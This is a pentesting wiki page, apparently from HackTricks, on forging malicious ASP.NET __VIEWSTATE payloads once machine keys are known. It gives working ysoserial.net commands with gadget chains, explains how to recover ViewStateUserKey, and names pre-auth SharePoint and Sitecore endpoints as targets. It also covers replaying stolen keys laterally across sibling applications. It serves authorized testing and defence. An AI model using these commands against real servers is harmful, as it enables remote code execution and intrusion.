exploiting-viewstate-knowing-the-secret.md (9744B)
1 --- 2 title: "Exploiting VIEWSTATE Knowing the Secret" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Exploiting __VIEWSTATE Knowing the Secret 14 15 If you **don't know the keys yet**, start with [the sister page about recovering / guessing them](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter). This page is for the case where you already have the **`validationKey`** (and sometimes the **`decryptionKey`**) and want to **forge a valid malicious `__VIEWSTATE`**.<sup>[[1]](#references)</sup> 16 17 ## When is the secret enough? 18 19 In practice, “knowing the secret” usually means you obtained the values from a leaked `web.config`, `machine.config`, registry/host access, another node in the same web farm, or from a **publicly disclosed / hardcoded `machineKey`**. 20 21 The minimum material you need depends on the framework mode: 22 23 - **.NET < 4.5**: 24 - If encryption is **not** enforced, the **`validationKey`** and validation algorithm are enough. 25 - Even if `ViewStateEncryptionMode="Always"` is configured, older versions still accept an **unencrypted** ViewState if `__VIEWSTATEENCRYPTED` is removed from the request. 26 - **.NET >= 4.5** / `compatibilityMode="Framework45"`: 27 - You usually need **both** the `validationKey` and the `decryptionKey`, plus their algorithms. 28 - The payload also depends on the target **page path** and **application path**. 29 30 ## Quick triage checklist 31 32 Before generating the payload, collect: 33 34 - `__VIEWSTATE` 35 - `__VIEWSTATEGENERATOR` if present 36 - Target page path (for example `/dir/app/page.aspx`) 37 - IIS application path / virtual root (for example `/app/`) 38 - Validation algorithm + `validationKey` 39 - Decryption algorithm + `decryptionKey` if the target uses modern ViewState protection 40 - `ViewStateUserKey` if the application salts ViewState per user / session 41 42 If you only know the keys but not the exact gadget to use, check the nearby [.NET gadget page](/hacktricks/pentesting-web/deserialization/basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net). 43 44 ## Forging the payload with ysoserial.net 45 46 ### Legacy targets (.NET 4.0 and below) 47 48 When the target uses the **legacy** signing logic, `ysoserial.net` can use either: 49 50 - `--generator=<__VIEWSTATEGENERATOR>` if the page exposes that value, or 51 - `--path` + `--apppath` if you know the IIS application root. 52 53 Example using the exposed generator value: 54 55 ```bash 56 ysoserial.exe -p ViewState -g TypeConfuseDelegate \ 57 -c "cmd /c whoami" \ 58 --generator=CA0B0334 \ 59 --islegacy \ 60 --validationalg="SHA1" \ 61 --validationkey="<VALIDATION_KEY>" 62 ``` 63 64 If the page is configured with `ViewStateEncryptionMode="Always"` but runs on **.NET < 4.5**, remove `__VIEWSTATEENCRYPTED` from the request and send an **unencrypted but correctly signed** payload. 65 66 If you need the request to still **look encrypted** on a legacy target, recent `ysoserial.net` builds also expose `--isencrypted`, which wraps the legacy payload instead of relying only on the `__VIEWSTATEENCRYPTED` removal trick. 67 68 ### Modern targets (.NET 4.5 and above) 69 70 Modern ViewState derivation uses the target **page path** and **application path** when deriving the protection material, so you normally need both:<sup>[[1]](#references)</sup> 71 72 ```bash 73 ysoserial.exe -p ViewState -g TextFormattingRunProperties \ 74 -c "cmd /c whoami" \ 75 --path="/content/default.aspx" \ 76 --apppath="/" \ 77 --validationalg="HMACSHA256" \ 78 --validationkey="<VALIDATION_KEY>" \ 79 --decryptionalg="AES" \ 80 --decryptionkey="<DECRYPTION_KEY>" 81 ``` 82 83 If the payload fails and you suspect the **path** or **app path** is wrong, retry with `--isdebug`. The plugin prints the derived values and helps validate whether your guess matches the target's `__VIEWSTATEGENERATOR` / path logic. 84 85 Recent `ysoserial.net` builds also expose `--minify`, which is handy when you need to keep the forged payload short enough for WAF, proxy, or URL-length constraints. 86 87 ## Common gotchas 88 89 ### `__VIEWSTATEGENERATOR` is helpful, but mostly for legacy targets 90 91 `ysoserial.net`'s ViewState plugin explicitly treats `--generator` as a **legacy** shortcut. For **.NET 4.5+** you should expect to need the real `--path` and `--apppath` values. 92 93 ### `ViewStateUserKey` will break otherwise valid payloads 94 95 If the application binds ViewState to a user, session, or anti-CSRF token, you must include the same value when generating the payload: 96 97 ```bash 98 ysoserial.exe -p ViewState -g TextFormattingRunProperties \ 99 -c "cmd /c whoami" \ 100 --path="/content/default.aspx" \ 101 --apppath="/" \ 102 --validationalg="HMACSHA256" \ 103 --validationkey="<VALIDATION_KEY>" \ 104 --decryptionalg="AES" \ 105 --decryptionkey="<DECRYPTION_KEY>" \ 106 --viewstateuserkey="<KNOWN_OR_GUESSED_VSUK>" 107 ``` 108 109 #### Recovering `ViewStateUserKey` in practice 110 111 Once the keys are known, `ViewStateUserKey` is the most common reason for a forged payload to fail. In real applications, it is often derived from: 112 113 - `Session.SessionID` 114 - `__AntiXsrfToken` / anti-CSRF cookies 115 - A value stored in `web.config`, `appSettings`, `Global.asax`, or a shared `BasePage` 116 117 If you already have filesystem access or an ASPX execution primitive, grep for it directly: 118 119 ```bash 120 rg -n "ViewStateUserKey|AntiXsrf|__AntiXsrfToken|Session\.SessionID" . 121 ``` 122 123 If you only have HTTP access, inspect the response cookies before guessing blindly. Current `badsecrets` / `crapsecrets` logic already tries common candidates such as `ASP.NET_SessionId`, `__AntiXsrfToken`, and small built-in wordlists, so they are also useful for validating whether the missing piece is really the per-user salt. 124 125 ### GET requests can also work 126 127 Although POST is the common delivery path, some applications also parse `__VIEWSTATE` from a **GET** request. This is useful when trying to stay close to the application's normal traffic or when replaying a payload through a URL-based gadget delivery point. 128 129 ### Start with the highest-value endpoints 130 131 Once you know the keys, test the pages that are both **reachable pre-auth** and **guaranteed to post back** before spending time on random forms. Recent real-world examples include: 132 133 - SharePoint `/_layouts/15/ToolPane.aspx` (see the [SharePoint page](/hacktricks/network-services-pentesting/pentesting-web/microsoft-sharepoint)) 134 - Sitecore `/sitecore/blocked.aspx`, which was abused in 2025 when older deployments reused a published sample `machineKey`<sup>[[3]](#references)</sup> 135 136 In practice, license, error, login, and admin helper pages are often better initial sinks than the main application workflow because they expose a stable hidden `__VIEWSTATE` field without requiring a full authenticated UI path. 137 138 ### `__EVENTVALIDATION` can be abused with the same secrets 139 140 The same signing material can also become useful against `__EVENTVALIDATION`, but exploitation is more constrained than normal ViewState abuse: you need a **POST** request, a page that actually processes input, and a **valid control/input name**. 141 142 On **.NET 4.5+**, the secret is reused with a **different cryptographic purpose string**: `__VIEWSTATE` uses `WebForms.HiddenFieldPageStatePersister.ClientState`, while `__EVENTVALIDATION` uses `WebForms.ClientScriptManager.EventValidation`. So if a forged ViewState works but a forged event payload does not, double-check the **page/app path**, the **specific purpose**, and whether the target control is actually allowed to raise that event.<sup>[[1]](#references)</sup> 143 144 ## Why this still matters in 2025-2026 145 146 This workflow is still very relevant because attackers increasingly do **not** need an additional bug once the keys are known: 147 148 - Microsoft reported in **February 2025** that threat actors were abusing **publicly disclosed ASP.NET machine keys** to generate valid malicious ViewState blobs.<sup>[[2]](#references)</sup> 149 - Mandiant documented in **September 2025** that Sitecore deployments reusing an old **sample `machineKey`** could be hit pre-auth through `/sitecore/blocked.aspx`, turning a documentation mistake into direct ViewState RCE.<sup>[[3]](#references)</sup> 150 - SANS observed in **August 2025** that post-exploitation SharePoint activity frequently included **dumping machine keys first**, because one recovered key pair can be replayed laterally against sibling IIS applications.<sup>[[4]](#references)</sup> 151 - In shared IIS / SharePoint farms, one recovered key pair can often be **replayed laterally** against sibling applications that trust the same configuration. 152 153 So, once you recover a single valid key pair, immediately test: 154 155 - Other virtual directories on the same host 156 - Sibling nodes behind the load balancer 157 - Admin-only pages that expose richer gadget surfaces 158 - Alternate state parameters such as `__EVENTVALIDATION` 159 160 ## References 161 162 - [1] [Exploiting Deserialisation in ASP.NET via ViewState](https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate) 163 - [2] [Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) 164 - [3] [ViewState Deserialization Zero-Day Vulnerability in Sitecore Products](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability) 165 - [4] [Stealing Machine Keys for fun and profit (or riding the SharePoint wave)](https://isc.sans.edu/diary/32174)